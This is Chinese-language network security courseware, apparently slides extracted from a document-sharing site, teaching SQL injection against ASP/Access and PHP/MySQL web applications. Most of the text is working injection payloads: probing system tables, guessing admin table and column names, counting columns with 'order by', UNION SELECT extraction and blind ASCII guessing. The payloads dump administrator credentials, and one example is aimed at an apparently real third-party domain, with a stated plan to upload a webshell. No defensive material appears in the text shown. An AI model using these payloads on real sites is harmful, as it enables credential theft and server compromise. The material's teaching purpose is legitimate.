您好,欢迎访问三七文档
当前位置:首页 > 商业/管理/HR > 销售管理 > 服务器入侵技术的应用与防护
学习情境三服务器入侵技术的应用与防护任务二数据库服务器的SQL注入攻击与防护网络安全与防护3.2数据库服务器的SQL注入攻击与防护教学的实施过程任务规划学生探究师生析疑完成任务检查评测综合创新思考、探讨完成任务需要的相关资料,搜集资料,制定工作计划明确需要完成的工作任务;教师进行点评、确定最终的实施方法;对技术问题进行讲授和答疑。学生进入网络实训室,根据工作计划完成每个工作项目,完成每个项目实施日志和心得总结学生分组相互检查任务完成情况,分析不足,给出评价;教师对学生的日志和总结进行分析,给出评价。探索数据库的其它入侵方法和防范方法,搜索相关工具,并在虚拟网络或网络实训室中进行验证。网络安全与防护3.2数据库服务器的SQL注入攻击与防护常见的数据库攻击方法有哪些?目前的主流数据库的SQL注入技术。完成数据库SQL注入攻击所需要的环境和工具。如何防范数据库的SQL注入攻击?问题引领网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目一Access数据库的SQL注入攻击(一)环境说明目前国内很大一部分网站都是采用asp+access搭建成的,本实例网站是在虚拟机搭建的一套留言板程序,IP地址为:(留言板首页)网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目一Access数据库的SQL注入攻击(二)攻击实例讲解点击公告连接,此时注意观察地址栏=1Gshow.asp后面跟了一个id参数,其值为数字1,下面我们来看一下服务器端的gshow.asp中的读取公告内容的代码:网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目一Access数据库的SQL注入攻击在id参数后面加上andexists(select*frommsysobjects)注:mysysobjects是access的系统表完整的测试语句:=1andexists(select*frommsysobjects),回车提交到服务器端网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目一Access数据库的SQL注入攻击一般网站重要的信息就是后台管理员登陆帐号密码了,我们提交=1andexists(select*fromusers)(判断数据库中是否存在users表)网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目一Access数据库的SQL注入攻击根据图中返回结果提示users表不存在,那么我们继续来提交=1andexists(select*fromadmin)网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目一Access数据库的SQL注入攻击提交=1andexists(selectuserfromadmin)服务器返回”至少一个参数没有被指定值说明不存在user字段,继续提交=1andexists(selectadminfromadmin)网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目一Access数据库的SQL注入攻击服务器返回正常,说明admin表里面存在字段”admin”(这个字段一般就是管理员登陆名称),再提交=1andexists(selectpasswordfromadmin)网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目一Access数据库的SQL注入攻击=1and(selecttop1len(admin)fromadmin)=5得到下图所示的页面说明长度为5网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目一Access数据库的SQL注入攻击现在可以根据得到的信息猜解字段内容了,具体方法就是and(selecttop1asc(mid(admin,x,1))fromadmin)x将表中第一条记录指定字段内容的某个字符的ascii值进行比较,以此类推从而猜测出字段内容本实例中提交=1and97=(selecttop1asc(mid(admin,1,1))fromadmin)网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目一Access数据库的SQL注入攻击接下来我们把2、3、或4输出的地方换成我们想要查询到的管理员信息,上面我们已经知道了管理员表里面存在admin、password字段,构造语句=1unionselect1,admin,password,4,5fromadmin网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目一Access数据库的SQL注入攻击获取了管理员表admin中的数据。根据图中返回信息可以判定字段数=4,继续提交orderby6。网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目一Access数据库的SQL注入攻击如图,出现了错误提示,说明字段数是小于6的,再提交orderby5返回正常页面结合上面就可以断定字段数为5了,再使用unionselect即可查询出想要的信息;另一个是用unionselectx,x来累加猜测网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目一Access数据库的SQL注入攻击如果返回上图所示的错误信息就累加,直到页面输出数据的地方出现数字,然后再将字段名替换数字就能够实现快速得到数据库信息了。网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目二Mysql数据库的SQL注入攻击实例介绍mysql数据库在web开发中也是运用得相当广泛,和其它数据库一样,在脚本编程时如果对参数没过滤或过滤不严格也会导至注入漏洞的产生。本实例是在虚拟机搭建php+mysql网站。目标网站为,点开一条带参数的新闻链接:=18944网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目二Mysql数据库的SQL注入攻击在url后面加上一下单引号这是程序简单处理了数据库暴错信息。下面来进一步确定是否存在注入漏洞,分别提交=18944and1=1=18944and1=2网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目二Mysql数据库的SQL注入攻击当提交and1=2的时候数据返回了错误信息,这种情况下无论什么数据库都可以确定存在注入漏洞了。开始进一步或取相关信息,先用orderby取得当前表的字段数,提交=18944orderby14网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目二Mysql数据库的SQL注入攻击返回了正常页面,再提交=18944orderby19返回出错页面,说明字段数在大于或等于14小于19,再来提交=18944orderby16返回正常网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目二Mysql数据库的SQL注入攻击当提交=18944orderby17出错,跟据上面返回的结果说明字段数为16,再来使用unionselect方法进一步获取我们要的信息。提交=18944and1=2unionselect1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16/**网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目二Mysql数据库的SQL注入攻击跟据页面返回信息可以看到在数据库查询显示结果的地方显示了我们刚刚输入的数字,下一步或取数据库版本,当前用户,数据库名提交=18944and1=2unionselect1,2,user(),4,version(),6,7,8,9,0,11,12,13,14,15,16网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目二Mysql数据库的SQL注入攻击当前用户为sinaqd(非root),版本为4.0.18(5.0以下),对于这种情况,思路就是通过注入点提交查询语句得到管理员登陆信息然后进入后台上传webshell。下面来判断管理员表,=18944and1=2unionselect1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16fromuser返回错误页面再提交=18944and1=2unionselect1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16fromusers说明存在users(有时候是管理员表,有时候是普通注册用户)表网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目二Mysql数据库的SQL注入攻击继续猜字段=18944%20and%201=2%20union%20select%201,2,name,4,5,6,7,8,9,0,11,12,13,14,15,16%20from%20users网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目二Mysql数据库的SQL注入攻击成功获取登陆名称sinaqd,继续提交:ttp://spring.sina-qd.com/news/show.php/?id=18944%20and%201=2%20union%20select%201,2,name,4,password,6,7,8,9,0,11,12,13,14,15,16%20from%20users不存在pasword字段,提交=18944%20and%201=2%20union%20select%201,2,name,4,passwd,6,7,8,9,0,11,12,13,14,15,16%20from%20users网络安全与防护3.2数据库服务器的SQL注入攻击与防护项目二Mysql数据库的SQL注入攻击暴出了密码,下面就寻找后台入口了,配合google很快找到了管理入口
本文标题:服务器入侵技术的应用与防护
链接地址:https://www.777doc.com/doc-1594445 .html